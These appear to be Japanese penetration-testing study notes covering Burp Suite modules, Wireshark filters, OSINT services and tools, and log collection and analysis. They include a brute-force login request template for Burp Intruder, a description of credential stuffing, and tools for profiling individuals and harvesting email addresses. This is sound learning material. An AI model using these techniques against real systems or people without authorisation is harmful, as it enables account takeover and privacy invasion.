  • Adiversary … アドバイザリ セクションでは、参照情報や推奨される修復策など、特定された脆弱性に関する詳細情報が提供される。この情報はレポートにエクスポートできます。Burp Suite Couumnityでは、このセクションに脆弱性が表示されない場合がある。

ナビゲーションとショートカット

デフォルトのナビゲーションは主に上部のメニューバーで行うことができ、モジュール間を切り替えたり、各モジュール内のさまざまなサブタブにアクセスしたりできる。サブタブはメイン メニュー バーのすぐ下の2番目のメニューバーに表示される。

  • モジュールの選択 … メニューバーの一番上の行には、Burp Suite で利用可能なモジュールが表示される
  • サブタブ … 選択したモジュールに複数のサブタブがある場合メインメニューバーのすぐ下に表示される2番目のメニュー バーからアクセスできる

またTab移動のためのショートカットキーは以下の通り。

ショートカットタブ
Ctrl + Shift + Dダッシュボード
Ctrl + Shift + TTargetタブ
Ctrl + Shift + PProxyタブ
Ctrl + Shift + IIntruderタブ
Ctrl + Shift + RRepeaterタブ

Burpプロキシ

Burpプロキシによりユーザーとターゲット Web サーバー間のリクエストと応答のキャプチャが可能となる。 傍受したトラフィックは、操作したり、さらなる処理のために他のツールに送信したり、宛先への継続を設定することができる。

  • intercept * リクエストはインターセプトされるためターゲット サーバーへの到達が阻止される。 * リクエストは「Proxy」タブに表示され、転送(Forward)、ドロップ(Drop)、編集(Edit)、他のBurpモジュールへの送信などのさらなるアクションが可能

スコープとターゲティング

Burp プロキシを使用する際の最も重要な機能の 1 つはスコープである。 すべてのトラフィックをキャプチャしてログに記録することは、特に特定のWebアプリケーションのみに焦点を当てたい場合に使用できる。

プロジェクトのスコープを設定することで何がプロキシされBurp Suiteに記録されるかを定義できる。 設定方法は以下の通り。

  1. Targetタブに切り替え
  2. 左側のリストから対象を右クリックしてAdd To Scopeを選択
  3. Burp はスコープ内にないもののログ記録を停止するかどうかを選択する用に求めるためyesを選択

スコープを確認するには「traget」タブ内の「Scope Settings」サブタブに切り替える

1.2. Repeaterの使い方

1.2.1. Repeaterの概念

Repeater はエンドポイントの手動での探索とテストに非常に役立つ仕組みである。 これは傍受したリクエストを変更して、選択したターゲットに再送信したり、リクエストを複数回編集して再送信することができるものである。

1.2.2. 基本的な使い方

  1. リクエストがProxy moduleでキャプチャされたら、リクエストを右クリックして [ Send to Repeater ] を選択
  2. キャプチャされたリクエストが Repeater ビューでアクセスできる
  3. [ Send ]ボタンを押すと Responseを確認できる
  4. リクエスト内容を変更する場合は Request ビューで変更して送信を押す
    • 例: Connection: OpenにするとConnection: keep-aliveでレスポンスが返る

1.2.3. Repeaterの詳細項目

メッセージの分析

Repeater ビューでは以下内容それぞれで表示できる。

  • Pretty … デフォルトのオプションで、生の応答を受け取り、読みやすさを向上させるためにわずかな書式設定の拡張を適用する
  • Raw … 追加のフォーマットを行わずに、サーバーから直接受信した未変更の応答を表示する
  • Hex … 選択すると、Byte レベルの表現で応答を調べることができる。バイナリファイルを扱う場合に特に便利
  • Render … レンダリング オプションを使用すると、Web ブラウザに表示されるようにページを視覚化できる

[Show non-printable]ボタンではPrettyまたはRawオプションでは表示できない文字の表示が可能となる。 例えば、\r\nなどの改行文字などが見れる。

Inspector

InspectorではR​​epeater モジュールの Request ビューと Response ビューの補足機能を提供する。 リクエストとレスポンスの視覚的に整理された情報を取得したり、上位レベルのインスペクターを使用して行われた変更が同等の生のバージョンにどのような影響を与えるかを実験するためにも使用される。

リクエストに関係するセクションは通常、変更でき、項目の追加、編集、削除が可能となる。 表示および/または編集に使用できるその他のセクションは以下の通り。

  • Request Query Parameters …. URL 経由でサーバーに送信されるデータを指す(?redirect=trueなど)
  • Request Body Parameters … POST リクエストの一部として送信されたデータはすべてこのセクションに表示され、再送信する前にパラメータを変更できるようになる
  • Request Cookies … 各リクエストで送信される Cookie の変更可能なリストが含まれる
  • Request Headers … リクエストとともに送信されたヘッダーを表示、アクセス、変更 (追加または削除を含む) できるようになる。これらのヘッダーの編集は、Webサーバーが予期しないヘッダーにどのように応答するかを調べるときに役立つ
  • Response Headers … リクエストに応答してサーバーから返されたヘッダーが表示する。サーバーから返されるヘッダーを制御できないため、これを変更することはできない。このセクションはリクエストを送信してレスポンスを受信した後にのみ表示される。

1.3. Intruderの使い方

Burp Suite の Intruder モジュールは、自動化されたカスタマイズ可能な攻撃を可能にする。 リクエストの特定の部分を変更し、さまざまな入力データを使用して反復テストを実行する機能がある。

このモジュールはファジングやブルートフォースなどのタスクに特に役立つ

1.3.1. Intruderの概念

Intruderは自動化されたリクエストの変更と入力値の変化による反復テストが行えるツール。 キャプチャされたリクエストを使用することにより、ユーザー定義の設定に基づいて値をわずかに変更した複数のリクエストを送信できる。

キャプチャされたリクエストを使用することにより、Intruder はユーザー定義の設定に基づいて値をわずかに変更した複数のリクエストを送信できる。 この機能はWfuzz やffufなどのコマンドラインツールに相当する。

ただしIntruderには Burp Community Edition の場合はレート制限がある。

1.3.2. Intruderのビュー

Intruderの項目は以下の通り。

  • Positions … 攻撃タイプを選択し、リクエストテンプレート内のペイロードを挿入する場所を構成できる
  • Payloads … ここでは [Postitons]タブで定義された位置に挿入する値を選択できる。ワードリストから項目をロードするなど、さまざまなオプションがある。これらのペイロードがテンプレートに挿入される方法は[ Postitons ]タブで選択した攻撃タイプによって異なる
  • Resource pool … このタブはBurp Community Edition では特に役に立たない。このタブでは Burp Professional のさまざまな自動化タスク間でリソースを割り当てることができる
  • Settings … 攻撃動作を構成できる。特定のテキストを含むリクエストにフラグを立てたり、リダイレクト (3xx) レスポンスへの Burp のレスポンスを定義したりできる

Positions

Positionsではペイロードを挿入する場所を設定できる。 また自動敵に可能性が最も高い位置を自動的に識別し、§を挿入しようとするが、手動でも設定できる。

Add §Clear §Auto §により、ポジションの追加、クリア、および自動的な再選択のプロセスが可能。

Payloads

Payloadsでは攻撃用のペイロードを作成、割り当て、構成できる。 またPayloadsは4つのセクションに分かれている。

  • Payload sets * ペイロードセットを設定する位置を選択し、使用するペイロードのタイプを選択できる
  • Payload settings * 現在のペイロードセットに対して選択されたペイロードタイプに固有のオプションを提供する * ファイルからのペイロードのロードを使用して、セットにペイロードを手動で追加またはセットから削除できる
  • Payload processing * セット内の各ペイロードがターゲットに送信される前に適用されるルールを定義できる * すべての単語を大文字にしたり、正規表現パターンに一致するペイロードをスキップしたり、他の変換やフィルタリングを適用したりできる
  • Payload encoding * ペイロードのエンコードオプションをカスタマイズできる

1.3.3. Intruderの攻撃タイプ

Burp Suite Intruder の[Positions]タブには、攻撃タイプを選択するためのドロップダウンメニューがある。 Intruder は 4 つの攻撃タイプを提供する。

  • スナイパー攻撃タイプ
    • ペイロードを循環して、リクエストで定義された各位置に一度に 1 つのペイロードを挿入する
  • ハンマー攻撃タイプ
    • すべてのペイロードを同時に送信し、各ペイロードをそれぞれの位置に挿入する
  • ピッチフォーク攻撃タイプ
    • 異なるペイロードで複数の位置を同時にテストできる
  • クラスター爆弾タイプ
    • スナイパーとピッチフォークのアプローチを組み合わせたもの

スナイパー攻撃タイプ

スナイパー攻撃タイプはBurp Suite Intruder でデフォルトで最も一般的に使用される攻撃タイプパスワードの総当たり攻撃API エンドポイントのファジングなどの単一位置攻撃に特に効果的な攻撃となる。

これはusernamepasswordのPOSTする文字をPostitonsで設定し、単語リストで総当たり攻撃する例がそれにあたる。

POST /support/login/ HTTP/1.1
Host: MACHINE_IP
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: http://MACHINE_IP
Connection: close
Referer: http://MACHINE_IP/support/login/
Upgrade-Insecure-Requests: 1

username=§pentester§&password=§Expl01ted§  

ハンマー攻撃タイプ

ハンマー攻撃タイプはスナイパー攻撃タイプのように各ペイロードを各位置に順番に置き換えるのではなく、同じペイロードをすべての位置に同時に配置する攻撃タイプ。 ハンマー攻撃タイプは連続した置換を必要とせずに、複数の位置に対して同じペイロードを一度にテストしたい場合に便利となる。

ピッチフォーク攻撃タイプ

ピッチフォーク攻撃タイプではポジションごとに1つのペイロードセット(最大 20)を利用し、すべてを同時に反復処理して総当たり攻撃を行う。 つまりそれぞれのパラメータに対して単語リストを用いてリクエストを行える。ただし単語リストの全通りを試行するわけではない(全試行を行うのはクラスター爆弾タイプ)

ピッチフォーク攻撃タイプは資格情報スタッフィング攻撃を実行する場合 や複数のポジションで個別のペイロード セットが必要な場合に特に役立つといえる。

クラスター爆弾攻撃タイプ

クラスター爆弾攻撃タイプはピッチフォーク攻撃タイプに単語リストの組み合わせ全通りを試行できるようにした攻撃タイプ。 しかし、すべての試行を送信するため大量のトラフィックを生成する可能性があるので注意することが重要となる。

クラスター爆弾攻撃タイプは、ユーザー名とパスワード間のマッピングが不明な資格情報のブルートフォースシナリオに特に役立つといえる。

1.4. Decoderの使い方

Decoder モジュールはユーザー データ操作機能を提供する。 攻撃中に傍受されたデータをデコードするだけでなく、自分のマシン上のデータをエンコードして、ターゲットへの送信の準備をする機能もある。

Decoder を使用すると、データのハッシュサムを作成したり、提供されたデータを平文に戻るまで再帰的にデコードしようとする提供も提供する。

1.4.1. Decoderによるエンコードとデコード

手動エンコードとデコードのオプションには以下のようなものがある。

  • Plain * 平文を指す
  • URI * ASCII 文字コードの文字を 16 進形式で置き換え、その前にパーセント記号 (%) を付ける
  • HTML * 特殊文字が&;で置き換えられる。
  • Base64 * 一般的に使用されるエンコード方式
  • ASCII Hex * ASCII 表現と 16 進数表現の間でデータを変換する
  • Hex, Octal, Binary * 16進数、8進数、2進数への変換
  • Gzip * データを圧縮しブラウザ送信前にファイルとページのサイズを削減する

16進数形式

ASCII 形式でデータを入力することもできるが、バイト単位の入力編集が必要な場合もある。 この場合、デコード オプションの上で選択できるHex Viewが役立つ。

スマートデコード

エンコードされたテキストの自動デコードを試みる

1.4.2. Decoderにおけるハッシュ

Decoderでは Burp Suite 内でデータのハッシュサムを直接作成できる。 Hashオプションでアルゴリズムを選択できる。

1.5. Compareの使い方

Comparer は ASCII ワードまたは Byte ごとに 2 つのデータを比較する機能を提供する。

例として、ログイン ブルートフォース攻撃またはクレデンシャル スタッフィング攻撃を実行する場合、長さの異なる 2 つの応答を比較して、違いがどこにあるのか、その違いがログインの成功を示しているかどうかを確認したい時などに使用する。

1.6. Sequencer

Sequencerはトークンのランダム性を比較できる。 トークンは、フォーム送信を保護するために使用されるセッション Cookie またはクロスサイトリクエストフォージェリ( CSRF ) トークンである可能性がある。

そのためトークンが安全に生成されない場合、理論的には、今後のトークンの値を予測できるということになる。

1.6.1. トークン分析の手法

Sequencer でトークン分析を実行するには主に2つの方法がある。

Live Capture

一般的な方法であり、シーケンサーのデフォルトのサブタブ。 Live Captureを使用すると、分析のためにトークンを生成するリクエストをシーケンサーに渡すことができる。

例としてサーバーが Cookie で応答することがわかっていて、ログイン エンドポイントへの POST リクエストを Sequencer に渡したい場合がある。

このときリクエストが渡されると、シーケンサーにライブキャプチャを開始するように指示できる。その後、同じリクエストを何千回も自動的に実行し、生成されたトークン サンプルを分析用に保存します。十分なサンプルを収集した後、シーケンサーを停止し、キャプチャされたトークンを分析できるようにできる。

Manual Load

事前に生成されたトークン サンプルのリストを分析のためにシーケンサーに直接ロードできる方法。

1.7. BurpSuiteの拡張機能

Burp Suiteの拡張機能インターフェースはExtentionsメニューで提供される。

1.7.1. BApp Store

BApp Storeでは公式拡張機能を簡単に見つけてツールにシームレスに統合できる。

拡張機能はさまざまな言語で作成できますが、Java と Python が最も一般的な選択肢となる。

9.2 - 2. WireSharkの使い方

ネットワークパケットスニファのWireSharkの使い方

Wireshark は、PCAP(パケットキャプチャファイル)の作成と分析に使用されるツール。
最良のパケット分析ツールの 1 つとして一般的に使用されている。

WireSharkの概要

WireSharkを最初に開いた画面ではインターフェイスを指定したりフィルターを適用してキャプチャするトラフィックを絞り込んだりできる
このページではインターフェイス上でライブ キャプチャを実行するか、分析のためにPCAPをロードするかを選択できる。

Wireshark は各パケットに関する次のような情報を提供する。

  • パケット番号
  • 時間
  • ソース
  • 行き先
  • プロトコル
  • 長さ
  • パケット情報

Wiresharkは、簡単なパケット情報に加えて、危険レベルの順にパケットとプロトコルを色分けして、キャプチャ内の異常とプロトコルを素早く特定できる。

キャプチャのフィルタリング

フィルタリング演算子

フィルタリング構文と組み合わせて使用できる演算子。

  • &&/and … および
  • ||/or … または
  • !=/not … 等しくない
  • ==/eq … 等しい
  • >/gt … 大なり
  • </lt … 未満

基本的なフィルタリング

表示フィルタではフィルタを入力することにより表示をフィルタリングできる。

フィルタの構文説明
ip.addr == <IPアドレス>送信元あるいは宛先が<IPアドレス>であるパケットを表示する
ip.src == 送信元がのIPアドレスのパケットを表示する
ip.dst == 送信先がのIPアドレスのパケットを表示する
tcp.port == <Port #> or TCPのポートを指定
udp.port == <Port #> or UDPのポートを指定
tcp.srcport == <Port #> or 送信元TCPのポートを指定
udp.srcport == <Port #> or 送信元UDPのポートを指定
tcp.dstport == <Port #> or 宛先TCPのポートを指定
udp.dstport == <Port #> or 宛先UDPのポートを指定
httpHTTPのパケットを表示する
http.requestHTTPリクエストを表示する

キャプチャフィルター

キャプチャフィルターは特定のパケットのみを取得したい場合に使用するフィルター。 メリットはキャプチャするパケット量が少なくなるため負荷を軽減し取り残しを避けられ、保存するストレージの容量を節約できる。

キャプチャフィルタは以下の通り。

フィルタの構文説明
icmpICMPの全パケットをキャプチャ
host <IPアドレス>IPアドレスのパケットをキャプチャ
ip src host <IPアドレス>送信元IPアドレスのパケットだけキャプチャ
port <ポート番号>ポート番号の通信をキャプチャする
tcp port <ポート番号>TCPでポート番号の通信をキャプチャする
tcp dst port <ポート番号>TCPで宛先ポート番号の通信をキャプチャする

10 - デジタルフォレンジック基礎

ログ解析/OSINT基礎、バイナリ解析などフォレンジックに関するメモ

10.1 - 1.OSINT基礎

OSINTによる情報収集の基礎

9.1. OSINTの基礎知識

9.1.1. OSINTとは

OSINT(Open Source Inteligence)はインテリジェンス手法の1つであり、オープンになっている情報(インターネットを含む広範な情報源を)利用してデータ/情報を収集する活動のこと。

情報源は以下のようなものがある。

  • 新聞などのメディアに載せられている公開情報
  • 政府広告媒体の官報や財務資料など
  • Web上で公開されている情報
  • GitHubなどのソースコード
  • SNS

9.1.2. その他のインテリジェンス手法

HUMINT

HUMINT(Human Inteligence)はもっとも古いインテリジェンス手法で、個人的な付き合いを利用して情報を収集する活動のこと。 政治的/軍事的/経済的な身分、ビジネスマンや観光客などの立場を利用して情報を収集する。

ある意味スパイ活動とも言える。

SIGINT

SIGINT(Signal Intelegence)は電話/無線/GPS/WI-FIなどから情報を収集する活動のこと。 以下のようなものがそれにあたる

  • 電話の盗聴
  • 無線LANの解読と通信傍受
  • 無線傍受による相手の動向分析

DARKINT

DARKINT(Dark Web Inteligence)はダークウェブから情報を収集する活動のこと。

9.1.3. 脅威インテリジェンス

脅威インテリジェンスとは

脅威インテリジェンスは情報セキュリティの脅威に関する情報を収集・分析し、その根拠に基づいて考慮される情報・データのこと。

脅威インテリジェンスを行う主な目的は、既存の防御戦略を強化するための情報を提供し、あらゆるサイバー攻撃から企業の情報財産を保護することにある。 これを行うことで組織が脅威の兆候を早期に識別し、効果的なセキュリティ対策を講じることが可能となる。

脅威インテリジェンスの種類

種類説明
戦略的脅威インテリジェンス脅威を状況の中で捉えた概要レベルの情報
戦術的脅威インテリジェンス脅威の攻撃手順と防衛手順に関する詳細情報
運用的脅威インテリジェンス特定の攻撃に対する対策実施に利用できる情報
技術的脅威インテリジェンス攻撃が行われている具体的な痕跡情報

9.2. OSINTサービス

Web上で利用できるOSINT関連のサービスの紹介。

OSINT Framework

OSINTツールの紹介ページ。

https://osintframework.com/

9.2.1. 資産の外部公開状況の調査

Shodan

インターネットに公開されたデバイスの中からポートが開放されている機器を調べることのできるサイト

https://www.shodan.io/

Censys

グローバルIPアドレスから該当サーバーで利用できるプロトコルを調査したり、サーバー証明書を検索することができるサイト。 公開されているデバイスを検出、監視、分析するのに役立つ。

https://search.censys.io/

9.2.2. パスワード漏洩の調査

Have I Been Pwned

自分の電子メールアドレスやユーザー名/パスワードがデータ漏洩に巻き込まれたかどうかを確認するためのウェブサイト。

https://haveibeenpwned.com/

BugMeNot

https://bugmenot.com/

9.2.3. ファイル/マルウェアの調査

VirusTotal

ファイルやウェブサイトのマルウェア検査を行うウェブサイト。そのファイルやウェブサイトが「マルウェアを含むかどうか」検査できる。

https://www.virustotal.com/

ANY.RUN

アップロードした検体を操作してファイルの挙動を見ることができるオンライン型のサンドボックスサービス。

https://any.run/

Hybrid Analysis

アップロードしたファイルの挙動情報などの詳細な解析結果が得られるサービス。

https://www.hybrid-analysis.com/

Metadefender

複数のセキュリティエンジンを使用してファイルスキャンを行いマルウェアやその他の脅威を検出できるサービス。

https://metadefender.opswat.com/

9.2.4. WEBサイトの評価/調査

Aguse

調査したいサイトのURLや受信したメールのメールヘッダーを入力することにより、関連する情報を表示するサービス。

https://www.aguse.jp/

Aguse Gateway

ユーザの代わりにサイトアクセスを行いサイトの表示情報を画像で表示してくれるサービス。

https://gw.aguse.jp/

Urlscan.io

ユーザが入力したURLに対して、代理でアクセスを行い、そのスキャン結果を公開しているサービス。

https://urlscan.io/

Sucuri SiteCheck

Webサイトがウイルス感染していないかのチェックができるWebサービス。

https://sitecheck.sucuri.net/

Abuse IPDB

IPを検索することで、そのIPに関する他者からの報告を確認できる。グローバルIPアドレスを調査したい場合に使用できる。

https://www.abuseipdb.com/

Netcraft Site Report

Webサイトがどこのサーバーで管理されてるか調査・確認できるサービス。

https://sitereport.netcraft.com/

9.2.5. ゼロディ/エクスプロイトの有無の調査

Rapid 7

脆弱性検索エンジン。

https://www.rapid7.com/db/

Zero0 DAY Exploit Database

https://www.zero-day.cz/database/

Exploit DataBase

脆弱性エクスプロイト・アーカイブ。

https://www.exploit-db.com/

CX Security

最新のエクスプロイトに直接アクセスでき検索できるデータベース。

https://cxsecurity.com/exploit/

Vulnerability Lab

エクスプロイトや PoC を備えた大規模な脆弱性データベース。

https://www.vulnerability-lab.com/

ExploitAlert

インターネット上で発見されたエクスプロイトのDB。

https://www.exploitalert.com/

JVN/CVE

名称URL説明
JVNhttps://jvn.jp/日本の全国的な脆弱性データベース
CVEhttps://cve.mitre.org/CVE(共通脆弱性識別子)に基づいた脆弱性のデータベース化したもの
CVE Listhttps://www.cve.org/CVE List

9.2.6. SSL/TLSのセキュリティ強度の調査

SSL Server Test

Test TLS

Certificate Checker

9.2.7. 失効済みサーバ証明書の有無の調査

9.2.8. 自己署名証明書(オレオレ認証)の調査

9.2.9. 画像の出典/特定情報有無の調査

TinEye

ウェブ上で似た画像を特定しその情報や出典を調査できるサイト。

https://tineye.com/

9.2.10. メールアドレスの漏洩調査

Hunter

Anymail Finder

9.2.11. IPアドレスの使用場所の調査

MaxMind

9.2.12. WIFIのESSID漏洩調査

WiGLE.NET

9.2.13. 画像情報(Exifデータ)の調査

Exif Data Viewer Online

exifdata

9.2.14. WEBサイトのアーカイブ/キャッシュの調査

Internet Archive

Googleキャッシュ

archive today

9.2.15. IPアドレス/ドメインの利用履歴の調査

SecurityTrails

DNS History

9.2.16. その他の情報に関する調査

9.3. OSINTツール

9.3.1. 資産の外部公開状況の調査

9.3.2. パスワード漏洩の調査

9.3.3. ファイル/マルウェアの調査

pdfInfo

9.3.4. WEBサイトの評価/調査

9.3.5. ゼロディ/エクスプロイトの有無の調査

Recon-ng

ウェブ上から情報を収集し分析するためのツール。脆弱性評価や攻撃可能性の調査、組織や個人のプロファイリングなどで使用される。 metasploitのようなツールなのでCUIでいろいろコマンドを打って操作を行う。

https://github.com/lanmaster53/recon-ng

# ===============================
# 基本コマンド
# ===============================
# recon-ngの起動
# exit, backなどで終了などをする
recon-ng

# 全てのモジュールをrecon-ngにインストール
marketplace install all

# モジュールの検索を行う
module search

# ワークスペースを作成するとプロジェクト/データを効率的に分離できる
# ワークスペースの作成
workspace create <ワークスペース名>
# ワークスペースの確認
workspace list
# ワークスペースのロード
workspace load <ワークスペース名>

SpiderFoot

インターネット上の情報を収集するツール。これで集めた情報はネットワークの脆弱性やリスクを評価するために使用される。

https://github.com/smicallef/spiderfoot

9.3.6. SSL/TLSのセキュリティ強度の調査

9.3.7. 失効済みサーバ証明書の調査

9.3.8. 自己署名証明書(オレオレ認証)の調査

9.3.9. 画像の出典/特定情報有無の調査

exiftool

9.3.10. メールアドレスの調査

theHarvester

主に電子メールアドレスやドメインに関連する情報を収集し組織や個人のデータを見つけることのできるツール。 Netcraftと合わせて利用することでサーバに直接照会せずに情報収集できる。

https://github.com/laramies/theHarvester

# ドメインから電子メールアドレス、サブドメイン、IPアドレスなどの情報を、指定された情報源から最大200件収集
theHarvester -d [ドメイン名] -l 200 -b all

9.3.11. IPアドレスの調査

9.3.12. WIFIの調査

9.3.13. 画像情報(Exifデータ)の調査

9.3.14. WEBサイトの調査

9.3.15. IPアドレス/ドメインの調査

CloakQuest3r

CloakQuest3rはCloudflareを使用してサーバーのIPアドレスを秘匿している場合にDNSの履歴やサブドメインからIPアドレスの漏えいが起きていないかを一発でチェックしてくれるツール。

https://github.com/spyboy-productions/CloakQuest3r

使用方法は以下の通り。

python3 cloakquest3r.py [ドメイン名]

9.3.16. 個人情報の調査

Metagoofil

ウェブ上からメタデータを収集するために使用されるツール。情報のリークや組織のデジタルフットプリントを評価するのに使用される。

https://github.com/opsdisk/metagoofil

FOCA

ウェブサイトからメタデータを取得し組織や個人のプロファイリングするツール。

https://github.com/ElevenPaths/FOCA

SKIPTRACER

人物情報を収集して関連性を分析するツール。

https://github.com/xillwillx/skiptracer

CREEPY

ソーシャルメディアを中心にインターネット上から個人の情報を収集するツール。

https://github.com/ilektrojohn/creepy

9.3.17. その他の情報に関する調査

Maltego

調査対象のドメインやDNS名などからインターネット上の情報を収集し、その関係性を可視化できるOSINTtツール。 利用にはアカウントが必要となる。

10.2 - 2.ログ解析基礎

システム、Apache,Nginx, SquidやIPS/IDS(Suricata)、Splunkなどのログ解析に関するメモ

ログの基本知識

ログはシステム、デバイス、またはアプリケーション内で記録されたイベントまたはトランザクションのこと

具体的には、これらのイベントは、アプリケーション エラー、システム障害、監査されたユーザーのアクション、リソースの使用、ネットワーク接続などに関連する可能性がある。

各ログエントリには、タイムスタンプ (発生日時)、ソース (ログを生成したシステム)、特定のログ イベントに関する追加情報など、イベントの状況を説明するための関連詳細が含まれている。

ログの種類

ログ分析には、さまざまなログの種類、形式、標準を理解することが重要となる。 またログには以下のような種類がある。

  • アプリケーションログ * ステータス、エラー、警告など、特定のアプリケーションに関するメッセージを含む
  • 監査ログ * 規制遵守にとって重要な運用手順に関連するアクティビティ
  • セキュリティログ * 権限の変更、ファイアウォール アクティビティなどのセキュリティイベントを含む
  • サーバーログ * システムログ、イベントログ、エラーログ、アクセスログなど、サーバーが生成するさまざまなログを含む
  • システムログ * カーネルアクティビティ、システムエラー、ブートシーケンス、およびハードウェアステータス
  • ネットワークログ * ネットワークトラフィック、接続、その他のネットワーク関連イベント
  • データベースログ * クエリや更新など、データベース システム内のアクティビティ
  • Webサーバログ * Webサーバーによって処理されたリクエスト (URL、応答コードなどを含む)

ログの形式

ログの形式はログファイル内のデータの構造と編成を定義するもの。 データのエンコード方法、各エントリの区切り方、および各行にどのフィールドが含まれるかを指定する。 これらの形式は大きく異なり、半構造化、構造化、非構造化の3つの主要なカテゴリに分類される。

半構造化ログ

半構造化ログは構造化データと非構造化データが含まれる場合があり、自由形式のテキストに対応する予測可能なコンポーネントが含まれる。 このタイプのログには以下のようなものがある。

  • Syslogメッセージ形式 … システムログとネットワークログ用に広く採用されているログプロトコル
  • Windowsイベントログ( EVTX ) 形式 … Windows システム用の独自の Microsoft ログ

構造化されたログ

構造化されたログは厳密で標準化された形式に従っているため解析と分析に役立つ。 このタイプのログには以下のようなものがある。

  • フィールド区切り形式(csv, tsv)
  • JSON
  • W3C Extended Log Format(ELF)
  • XML

非構造化ログ

非構造化ログは自由/任意形式のテキストで構成されている。 コンテキストが豊富ですが、体系的な解析がしずらい可能性がある。 このタイプのログには以下のようなものがある。

  • NCSA Common Log Format (CLF) … クライアント要求用の標準化されたWebサーバログ形式(Apacheのログ形式)
  • NCSA Combined Log Format (Combined) … CLF の拡張であり、リファラーやユーザーエージェントなどのフィールドが追加されている(Nginxのログ形式)

ログの収集/管理/一元化

ログの収集

ログの取集はログ分析を行う際に需要となる要素で、サーバやネットワーク、ソフトウェア、データベースなど様々な要素からのログ集約が含まれる。

ログの保存と整合性時のためにはシステムの時間精度を維持することが重要で、NTPを利用することはこのタイムラインの整合性を確保するための重要な手段となる。

ログ収集を行う際のデータ入手する際のプロセス例は以下の通り。

  1. ソースの特定 … 収集するログソースのリストアップを行う
  2. ログ収集ソフトウェアの選択 … ログの収集ツールやソフトウェアの選定
  3. 収集するパラメータの決定 … どのイベントを記録するか決定を行い、NTP時刻同期の有効も確認する
  4. テストによるログ収集 … テストを実行して適切に周遊されている確認する

ログの管理

ログの保存管理に関するソリューションの決定も行う。

  • ストレージの選定 … ログを保持するストレージの選定を行う
  • 編成 … ログをソース、タイプなどで分類しアクセスしやすいようにする
  • バックアップ … ログを定期的にバックアップしデータの損失を防ぐ
  • 確認 … 定期的にログが保存されているか確認を行う

ログの一元化

ログの一元化を統合ツールなどで行うと、リアルタイム検出、自動通知、インシデント管理等が行える。 ログの一元化を行うとアクセス分析が大幅に効率化される

  • 一元化システムの選択 … Elastic StackSplunkなどログを統合するツールを決定する
  • ソースの統合 … ログソースを選択したシステムに接続する
  • モニタリングのセットアップ … 統合ツールのセットアップを行う
  • インシデント管理の統合 … 統合ツールがインシデント管理などと統合できるようにする

ログの保存/削除

ログはローカルシステムやクラウドストレージなどいろいろな場所に保存できる。

ログの保存期間

ログの保存は以下のポリシーに従って保存されることが多い

  • ホットストレージ … 過去3か月~過去6か月のログを保存するもの。アクセスしやすいようにするべき。
  • ウォームストレージ … 過去6か月~2年のログを保存するもの。ホットストレージよりすぐにアクセスできる必要はない
  • コールドストレージ … 過去2年~5年のログを保存するもの。アーカイブや圧縮化されたログとなり容易にアクセスできなくてもよい。

ログの削除

ログの削除は価値のある可能性のあるログが削除されないように慎重に行う必要があり、重要なものは削除前にバックアップする必要がある。

ログ収集/管理の設定

Rsyslogによるログ収集

Linuxのログ収集システムであるrsyslogを使用してログ収集を行う際の設定例を記載する。 なお、例では/var/log/websrv-02/rsysog_sshd.logに保存するように構成する。

  1. Terminalを開く
  2. sudo systemctl status rsyslogによりrsyslogのインストールと動作確認をする
  3. viエディタでvi /etc/rsyslog.d/98-websrv-02-sshd.confを開きファイルに以下構成を追加する
    • $FileCreateMode 0644
    • :programname, isequal, "sshd" /var/log/websrv-02/rsyslog_sshd.log
  4. 設定ファイルを保存して閉じる
  5. sudo systemctl restart rsyslogによりrsyslogを再起動する
  6. ssh localhostを行い設定が機能することを確認する

Logrotateを使用したログ管理

Linuxのログ管理システムであるlogrotateの設定を行う際の設定例を記載する。 なお例では/var/log/websrv-02/rsysog_sshd.logのログファイルのローテーションの設定を行うように構成する。

  1. sudo vi /etc/logrotate.d/98-websrv-02_sshd.confなどで構成ファイルを作成する
  2. 以下のようにログ設定を行う
/var/log/websrv-02/rsyslog_sshd.log {
    daily
    rotate 30
    compress
    lastaction
        DATE=$(date +"%Y-%m-%d")
        echo "$(date)" >> "/var/log/websrv-02/hashes_"$DATE"_rsyslog_sshd.txt"
        for i in $(seq 1 30); do
            FILE="/var/log/websrv-02/rsyslog_sshd.log.$i.gz"
            if [ -f "$FILE" ]; then
                HASH=$(/usr/bin/sha256sum "$FILE" | awk '{ print $1 }')
                echo "rsyslog_sshd.log.$i.gz "$HASH"" >> "/var/log/websrv-02/hashes_"$DATE"_rsyslog_sshd.txt"
            fi
        done
        systemctl restart rsyslog
    endscript
}
  1. ファイルを保存する
  2. sudo logrotate -f /etc/logrotate.d/98-websrv-02_sshd.confでログローテーションを開始する

ログ分析のテクニック

ログ分析はSIEMツール(SplunkやElastic Search)などを使用すると複雑なログ分析タスクなどを行うことができる。

なお即時ログ分析が必要な場合はLinuxの場合、catgrepsedsortuniqなどのツールで分析する場合もある。 またWindowsの場合はEZ-Toolsと呼ばれるコマンドレットで分析できる。 また、awksha256umGET-FileHashなどのコマンドでも分析が行える。

ログの分析手法

ログ分析を行い、パターンや異常性などを特定するためのテクニック手法には以下のようなものがある。

  • パターン認識
  • 異常検出
  • 相関関係の分析
  • タイムライン分析
  • 機械学習/AIを用いた分析
  • 視覚化による分析
  • 統計解析

ログ解析の基本

一般的なログファイルの場所

Linuxの場合ログファイルは以下のような場所に通常は配置される。

  • Webサーバー: * Nginx: * アクセスログ:/var/log/nginx/access.log * エラーログ:/var/log/nginx/error.log * Apache: * アクセスログ:/var/log/apache2/access.log * エラーログ:/var/log/apache2/error.log
  • データベース: * MySQL: * エラーログ:/var/log/mysql/error.log * PostgreSQL: * エラーとアクティビティのログ:/var/log/postgresql/postgresql-{version}-main.log
  • Webアプリケーション: * PHP : * エラーログ:/var/log/php/error.log
  • OS: * Linux: * 一般的なシステム ログ:/var/log/syslog * 認証ログ:/var/log/auth.log
  • ファイアウォールとIDS/IPS: * iptables: * ファイアウォールのログ:/var/log/iptables.log * Snort: * Snort ログ:/var/log/snort/

上記は一般的なログファイルのパスだが、実際のパスはシステム構成、ソフトウェア バージョン、カスタム設定によって異なる場合がある。

ログの兆候パターン

セキュリティのコンテキストでは、潜在的なセキュリティの脅威を特定するには、ログデータの一般的なパターンと傾向を認識することが重要となる。

